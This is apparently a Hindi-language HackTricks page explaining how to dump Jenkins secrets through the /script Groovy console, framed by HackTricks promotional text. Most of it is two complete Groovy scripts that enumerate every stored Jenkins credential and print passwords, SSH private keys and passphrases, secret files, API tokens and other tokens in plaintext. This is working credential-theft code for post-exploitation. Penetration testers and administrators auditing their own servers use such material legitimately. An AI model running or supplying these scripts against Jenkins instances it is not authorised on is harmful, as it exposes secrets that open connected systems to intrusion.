Jenkins Dumping Secrets from Groovy
हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!
यदि आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं या यदि आप PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सदस्यता योजनाएं देखें!
आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
The PEASS Family का खोज करें, हमारा विशेष NFTs संग्रह
💬 Discord समूह या टेलीग्राम समूह में शामिल हों या मुझे ट्विटर 🐦 @carlospolopm का** अनुसरण करें।**
हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PR जमा करके।
ध्यान दें कि ये स्क्रिप्ट केवल credentials.xml
फ़ाइल के अंदर के रहस्यों की सूची बनाएगा, लेकिन बिल्ड कॉन्फ़िगरेशन फ़ाइलें भी अधिक रहस्य रख सकती हैं।
आप /script
में चल रहे इस कोड को चलाकर ग्रूवी स्क्रिप्ट कंसोल से सभी रहस्यों को निकाल सकते हैं।
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
import jenkins.model.*
import com.cloudbees.plugins.credentials.*
import com.cloudbees.plugins.credentials.impl.*
import com.cloudbees.plugins.credentials.domains.*
import com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey
import org.jenkinsci.plugins.plaincredentials.StringCredentials
import org.jenkinsci.plugins.plaincredentials.impl.FileCredentialsImpl
def showRow = { credentialType, secretId, username = null, password = null, description = null ->
println("${credentialType} : ".padLeft(20) + secretId?.padRight(38)+" | " +username?.padRight(20)+" | " +password?.padRight(40) + " | " +description)
}
// set Credentials domain name (null means is it global)
domainName = null
credentialsStore = Jenkins.instance.getExtensionList('com.cloudbees.plugins.credentials.SystemCredentialsProvider')[0]?.getStore()
domain = new Domain(domainName, null, Collections.<DomainSpecification>emptyList())
credentialsStore?.getCredentials(domain).each{
if(it instanceof UsernamePasswordCredentialsImpl)
showRow("user/password", it.id, it.username, it.password?.getPlainText(), it.description)
else if(it instanceof BasicSSHUserPrivateKey)
showRow("ssh priv key", it.id, it.passphrase?.getPlainText(), it.privateKeySource?.getPrivateKey()?.getPlainText(), it.description)
else if(it instanceof StringCredentials)
showRow("secret text", it.id, it.secret?.getPlainText(), '', it.description)
else if(it instanceof FileCredentialsImpl)
showRow("secret file", it.id, it.content?.text, '', it.description)
else
showRow("something else", it.id, '', '', '')
}
return
या यह एक:
import java.nio.charset.StandardCharsets;
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.Credentials.class
)
for (c in creds) {
println(c.id)
if (c.properties.description) {
println(" description: " + c.description)
}
if (c.properties.username) {
println(" username: " + c.username)
}
if (c.properties.password) {
println(" password: " + c.password)
}
if (c.properties.passphrase) {
println(" passphrase: " + c.passphrase)
}
if (c.properties.secret) {
println(" secret: " + c.secret)
}
if (c.properties.secretBytes) {
println(" secretBytes: ")
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
println("")
}
if (c.properties.privateKeySource) {
println(" privateKey: " + c.getPrivateKey())
}
if (c.properties.apiToken) {
println(" apiToken: " + c.apiToken)
}
if (c.properties.token) {
println(" token: " + c.token)
}
println("")
}
हैकट्रिक्स का समर्थन करें और लाभ प्राप्त करें!
यदि आप अपनी कंपनी को हैकट्रिक्स में विज्ञापित करना चाहते हैं या यदि आप PEASS के नवीनतम संस्करण देखना चाहते हैं या HackTricks को पीडीएफ़ में डाउनलोड करना चाहते हैं तो सदस्यता योजनाएं देखें!
आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
द पीएस फैमिली का खोज करें, हमारा विशेष NFTs संग्रह
शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह में या फॉलो करें मुझे ट्विटर पर 🐦 @carlospolopm.
हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में पीआर जमा करके।
Last updated